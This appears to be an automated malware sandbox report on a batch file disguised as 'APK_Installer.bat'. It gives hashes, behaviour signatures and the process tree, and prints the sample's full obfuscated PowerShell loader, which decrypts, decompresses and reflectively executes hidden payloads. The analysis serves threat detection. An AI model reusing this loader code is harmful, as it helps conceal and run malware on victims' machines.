Analysis
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max time kernel
50s -
max time network
16s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
30-05-2024 15:44
Static task
static1
Behavioral task
behavioral1
Sample
APK_Installer.bat
Resource
win7-20231129-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
APK_Installer.bat
Resource
win10v2004-20240508-en
21 signatures
150 seconds
General
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Target
APK_Installer.bat
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Size
302KB
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MD5
7a5f5944302b8298714b56ae2f138b7c
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SHA1
669b42f2f6e76895899d84d5ad7a12f23d951f13
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SHA256
3f5e7ecf09b373256a2765700ae45c9edc070a1699893a3fd11af4cda4683552
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SHA512
73049c86a87fe41797a4f3b382e0f2740a9def19ee12979d7a37237b33fa5aa3ad2ec1c4852ebc02987afa75f08fd52115d4a416eabf38b5df1936ce38b8f120
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SSDEEP
6144:32i9XCwjujllYECVvYOjntEw8ZNsT0oilQHSzlO8DF8hVvRj:32iBCwyhCVlaJZUilQHulOq2vRj
Score
8/10
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 1032 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1032 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
cmd.exedescription pid process target process PID 2360 wrote to memory of 1032 2360 cmd.exe powershell.exe PID 2360 wrote to memory of 1032 2360 cmd.exe powershell.exe PID 2360 wrote to memory of 1032 2360 cmd.exe powershell.exe
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\APK_Installer.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2360 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JtEG91HadDOug1ikw4ED5Ft1+v0q/aQ1W+w0T1fq7bU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dK/r26SLdFIerecbjeR5Zw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $sRhXB=New-Object System.IO.MemoryStream(,$param_var); $WaKyX=New-Object System.IO.MemoryStream; $KkhnQ=New-Object System.IO.Compression.GZipStream($sRhXB, [IO.Compression.CompressionMode]::Decompress); $KkhnQ.CopyTo($WaKyX); $KkhnQ.Dispose(); $sRhXB.Dispose(); $WaKyX.Dispose(); $WaKyX.ToArray();}function execute_function($param_var,$param2_var){ $HiXkA=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GEGne=$HiXkA.EntryPoint; $GEGne.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\APK_Installer.bat';$gMRjN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\APK_Installer.bat').Split([Environment]::NewLine);foreach ($wPRor in $gMRjN) { if ($wPRor.StartsWith(':: ')) { $MmaAY=$wPRor.Substring(3); break; }}$payloads_var=[string[]]$MmaAY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1032
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